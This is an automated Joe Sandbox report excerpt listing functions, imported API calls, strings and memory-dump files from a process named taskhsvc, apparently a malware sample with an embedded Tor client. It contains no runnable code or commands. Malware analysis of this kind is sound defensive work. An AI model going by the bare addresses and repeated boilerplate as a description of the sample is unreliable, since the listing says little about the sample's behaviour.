Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002B314C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177

APIs

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 002B4037: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0026B8B5), ref: 002B408C

Part of subcall function 002B4093: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0026B89E), ref: 002B40C7

Part of subcall function 002B3B52: __stack_chk_fail.LIBSSP-0 ref: 002B3C6E

Part of subcall function 002B2F9B: __stack_chk_fail.LIBSSP-0 ref: 002B301C

Part of subcall function 002B3F06: abort.MSVCRT ref: 002B3F62
Part of subcall function 002B3F06: __stack_chk_fail.LIBSSP-0 ref: 002B3F72

Part of subcall function 002B6848: __stack_chk_fail.LIBSSP-0 ref: 002B68D1

Part of subcall function 002B0D2C: __stack_chk_fail.LIBSSP-0 ref: 002B0D7F

abort.MSVCRT ref: 002B32EC

Part of subcall function 002B0D86: __stack_chk_fail.LIBSSP-0 ref: 002B0E09

Part of subcall function 002B3023: abort.MSVCRT ref: 002B308D
Part of subcall function 002B3023: time.MSVCRT ref: 002B30F0
Part of subcall function 002B3023: __stack_chk_fail.LIBSSP-0 ref: 002B3141

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 002C1E90: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00238007), ref: 002C1EC8

Part of subcall function 002B4177: __stack_chk_fail.LIBSSP-0 ref: 002B4248

Part of subcall function 002B354C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002B3295), ref: 002B362A

__stack_chk_fail.LIBSSP-0 ref: 002B33E1

Strings

qE, xrefs: 002B335B

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001DBED0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 143

APIs

Part of subcall function 001DBA88: __stack_chk_fail.LIBSSP-0 ref: 001DBACF

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 003014B0: abort.MSVCRT(?,?,?,?,?,?,001DC022), ref: 0030151B
Part of subcall function 003014B0: abort.MSVCRT(?,?,?,?,?,?,001DC022), ref: 0030155A
Part of subcall function 003014B0: abort.MSVCRT(?,?,?,?,?,?,001DC022), ref: 003015B8
Part of subcall function 003014B0: abort.MSVCRT(?,?,?,?,?,?,001DC022), ref: 003015FC
Part of subcall function 003014B0: __stack_chk_fail.LIBSSP-0 ref: 003016DF

Part of subcall function 0030102B: abort.MSVCRT ref: 0030108F
Part of subcall function 0030102B: abort.MSVCRT ref: 003010CE
Part of subcall function 0030102B: abort.MSVCRT ref: 00301122
Part of subcall function 0030102B: __stack_chk_fail.LIBSSP-0 ref: 00301237

__stack_chk_fail.LIBSSP-0 ref: 001DC0CE

Part of subcall function 001DB8B3: abort.MSVCRT ref: 001DB992
Part of subcall function 001DB8B3: __stack_chk_fail.LIBSSP-0 ref: 001DBA81

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 002BA2D6: __stack_chk_fail.LIBSSP-0 ref: 002BA3B6

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Strings

, xrefs: 001DBFE6
,A, xrefs: 001DC062

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00214904, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130

APIs

Part of subcall function 002148AA: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,002149AA), ref: 002148FD

__stack_chk_fail.LIBSSP-0 ref: 00214B2B

Part of subcall function 001DCFB4: __stack_chk_fail.LIBSSP-0 ref: 001DCFE5

Part of subcall function 0027701D: time.MSVCRT ref: 0027703A
Part of subcall function 0027701D: abort.MSVCRT ref: 0027707C
Part of subcall function 0027701D: __stack_chk_fail.LIBSSP-0 ref: 00277096

Part of subcall function 001DEAC4: abort.MSVCRT ref: 001DEB1D
Part of subcall function 001DEAC4: abort.MSVCRT ref: 001DEB5C
Part of subcall function 001DEAC4: __stack_chk_fail.LIBSSP-0 ref: 001DF151

Part of subcall function 00211254: free.MSVCRT ref: 0021127E
Part of subcall function 00211254: __stack_chk_fail.LIBSSP-0 ref: 00211296

Part of subcall function 0020FEEE: __stack_chk_fail.LIBSSP-0 ref: 0020FF21

Part of subcall function 0021002B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00214A74), ref: 0021006B

Part of subcall function 003040B6: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,0027CC2C,?,?,?,?,?,?,?,?,?,002C3756), ref: 003040D6

Part of subcall function 003064D9: __stack_chk_fail.LIBSSP-0 ref: 0030658E

Part of subcall function 001F1535: __stack_chk_fail.LIBSSP-0 ref: 001F157E

Part of subcall function 00210FB7: memcpy.MSVCRT ref: 00211052
Part of subcall function 00210FB7: __stack_chk_fail.LIBSSP-0 ref: 00211063

Part of subcall function 001DE7A7: abort.MSVCRT ref: 001DE800
Part of subcall function 001DE7A7: abort.MSVCRT ref: 001DE83F
Part of subcall function 001DE7A7: __stack_chk_fail.LIBSSP-0 ref: 001DEAB7

Part of subcall function 00342356: abort.MSVCRT ref: 003423A6
Part of subcall function 00342356: SSL_pending.SSLEAY32 ref: 003423B4
Part of subcall function 00342356: __stack_chk_fail.LIBSSP-0 ref: 003423C4

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

`-B, xrefs: 0021496E
@8B, xrefs: 00214976

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00208ADA, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116

APIs

Part of subcall function 002088CD: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00208E8D), ref: 00208AD3

Part of subcall function 00313207: __stack_chk_fail.LIBSSP-0 ref: 00313277

Part of subcall function 00316005: __stack_chk_fail.LIBSSP-0 ref: 0031605E

Part of subcall function 0020807A: __stack_chk_fail.LIBSSP-0 ref: 002080F9

__stack_chk_fail.LIBSSP-0 ref: 00208D09

Strings

U, xrefs: 00208B32
NOTICE BOOTSTRAP PROGRESS=80 TAG=conn_or SUMMARY="Connecting to the Tor network", xrefs: 00208C64

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E471C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106

APIs

Part of subcall function 003425CA: ERR_peek_error.LIBEAY32 ref: 003425E6
Part of subcall function 003425CA: __stack_chk_fail.LIBSSP-0 ref: 0034265D

abort.MSVCRT ref: 001E4857

Part of subcall function 001E331A: __stack_chk_fail.LIBSSP-0 ref: 001E335F

Part of subcall function 001E4071: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E4145
Part of subcall function 001E4071: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E419E
Part of subcall function 001E4071: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E41C6

Part of subcall function 001E444E: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E4806), ref: 001E44BA
Part of subcall function 001E444E: __stack_chk_fail.LIBSSP-0 ref: 001E4520

__stack_chk_fail.LIBSSP-0 ref: 001E4887

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

0dA, xrefs: 001E483F

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003F6A70, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81

Strings

@, xrefs: 003F6B2B

Memory Dump Source

Source File: 00000013.00000002.1855588250.003F6000.00000080.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002F1A65, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78

APIs

Part of subcall function 002F116D: __stack_chk_fail.LIBSSP-0 ref: 002F11D4

